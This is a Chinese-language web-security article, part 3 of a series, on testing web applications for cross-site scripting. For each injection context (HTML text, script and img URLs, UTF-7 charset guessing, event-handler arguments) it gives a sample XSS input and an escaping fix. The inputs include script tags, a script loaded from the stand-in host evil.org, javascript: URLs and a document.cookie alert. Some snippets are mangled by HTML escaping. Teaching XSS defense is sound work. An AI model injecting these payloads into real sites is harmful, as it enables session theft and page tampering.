Web应用进行XSS漏洞测试(3)

发表于:2015-09-16来源:uml.org.cn作者:火龙果软件点击数: 标签:软件测试
1. 当再度将表单提交时,存储的内容将会变成转义后的值。 2. 当使用 JavaScript 操作表单元素,需要使用到表单元素的值时,必须考虑到值可能已经被转义

  1. 当再度将表单提交时,存储的内容将会变成转义后的值。

  2. 当使用 JavaScript 操作表单元素,需要使用到表单元素的值时,必须考虑到值可能已经被转义。

  HTML文本为动态内容

  例子

<b> 欢迎:<?= $welcome_msg?></b>
攻击XSS输入
<script>evil_script()</script>
将动态内容替换
将$welcome_msg 替换为恶意 XSS 输入:
<b>欢迎:<script>evil_script()</script></b>

  分析

  在 HTML 正文背景下,< > 字符会引入 HTML 标记,& 可能会认为字符实体编码的开始,所以需要将 < > & 转义

  解决方案

  为简洁起见,直接使用 htmlspecialchars()将 5 种 HTML 特殊字符转义,如:

&lt;b&gt;欢迎:&lt;?= htmlspecialchars($welcome_msg,, ENT_NOQUOTES)?&gt;&lt;/b&gt;

  URL的值为动态内容

  Script/Style/Img/ActiveX/Applet/Frameset… 等标记的 src 或 href 属性如果为动态内容,必须确保这些 URL 没有指向恶意链接。

  例子1

&lt;script src=&lt;?= "$script_url&gt;"&gt;
攻击XSS输入
http://evil.org/evil.js
将动态内容替换
将$script_url替换为恶意 XSS 输入:
&lt;script src="http://evil.org/evil.js"&gt;

  例子2

&lt;img src=”&lt;?= $img_url&gt;”&gt;
攻击XSS输入
javascript:evil_script()
将动态内容替换
将$img_url替换为恶意XSS输入:
&lt;img src=” javascript:evil_script()”&gt;

  分析

  一般情况下尽量不要让 URL 的值被用户控制。如果用户需要自己定义自己的风格及显示效果,也不能让用户直接控制整个 URL 的内容,而是提供预定义好的风格供用户设置、装配,然后由后台程序根据用户的选择组合成安全的 URL 输出。

  字符集编码

  浏览器需要知道字符集编码才能正确地显示网页。如果字符集编码没有显式在 content-type 或meta 中定义,浏览器会有算法猜测网页的字符集编码。譬如<script>alert(document.cookie)</script> 的 UTF-7 编码为:

+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

  如果+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-作为动态内容位于网页的顶端并传送到浏览器端,IE 会认为此网页是 UTF-7 编码,从而使网页不能正常显示。

  解决方案

  显式定义网页的字符集编码,譬如

&lt;meta http-equiv=content-type content="text/html; charset=UTF-8"&gt;

  动态内容为JavaScript事件处理函数的参数

  JavaScript 事件处理函数如 onClick/onLoad/onError/onMouseOver/ 的参数可能包含动态内容。

  例子

&lt;input type="button" value="go to" onClick='goto_url("&lt;?= $target_url&gt;");'&gt;
攻击XSS输入
foo&amp;quot;);evil_script(&amp;quot;
将动态内容替换
HTML 解析器会先于 JavaScript 解析器解析网页,将$target_url 替换为恶意 XSS 输入:
&lt;input type="button" value="go to" onClick='goto_url("foo");evil_script("");'&gt;
动态内容位于 JavaScript 代码段中

原文转自:http://www.uml.org.cn/Test/201407161.asp